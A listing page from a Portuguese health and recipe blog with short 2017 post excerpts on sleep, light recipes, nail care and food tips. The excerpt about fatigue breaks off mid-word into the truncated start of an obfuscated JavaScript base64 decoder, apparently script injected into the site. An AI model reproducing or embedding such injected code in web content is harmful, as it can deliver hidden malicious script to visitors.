Melatonina, o segredo para dormir bem

Mai 16, 2017 | À descoberta, Dicas úteis, Saúde e bem estar

Melatonina, o segredo para dormir bem     De certeza que já ouviu esta palavra, mas será que sabe o que é a melatonina? Pois bem, a melatonina é uma hormona que é produzida de forma natural pelo nosso corpo, tendo inúmeros benefícios para a nossa saúde, já que...

Salada fresca e saudável + espetadas de fruta com chocolate negro

Abr 29, 2017 | Receitas

Salada fresca e saudável + espetadas de fruta com chocolate negro   O calor está aí e, com ele, a preocupação em ver os números da balança descer. Por isso hoje trago-lhe duas receitas: salada e sobremesa ligeiras sem culpa, sem gordura e sem açúcar. Duas receitas...

Saiba como aproveitar as cascas de legumes e fruta

Abr 1, 2017 | Apanhados na rede, Olha que giro

Saiba como aproveitar as cascas de legumes e fruta     “Nada se perde, tudo se transforma” é uma velha máxima que ouvimos desde os tempos da escola e que se aplica a praticamente todas as áreas e saberes. Mas hoje falo-lhe de algo que talvez nunca tenha...

Bolo de fruta na caneca sem farinha e sem culpa

Mar 12, 2017 | Receitas

Bolo de fruta na caneca sem farinha e sem culpa     Comer um docinho sabe sempre bem e, para quem está de dieta, é tãoooo difícil de resistir à tentação! Hoje trago-lhe uma boa novidade: a receita de um bolo de fruta na caneca sem farinha e sem culpa! Sem culpa porque...

10 alimentos e cuidados para ter unhas fortes e bonitas

Mar 4, 2017 | Equilíbrio, Saúde e bem estar

10 alimentos e cuidados para ter unhas fortes e bonitas   Para ter umas unhas fortes e bonitas o primeiro passo é uma alimentação equilibrada e saudável… mas são precisos também outros cuidados. Quer saber tudo? Conheça aqui 10 alimentos e cuidados que ajudam a...

10 alimentos para combater a fadiga

Fev 20, 2017 | Dicas úteis

10 alimentos para combater a fadiga   De certeza que sabe reconhecer o estado de fadiga. É qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...

Dicas saudáveis – Benefícios da banana

Fev 6, 2017 | À descoberta, Receitas, Saúde e bem estar

Dicas saudáveis – Benefícios da banana   Já sabe que eu adoro dar-lhe dicas saudáveis sobre os alimentos. É importante partilhar. Hoje falo-lhe dos benefícios da banana. Costuma consumir este fruto? Aposto que sim, já que é delicioso. Mas é também uma óptima...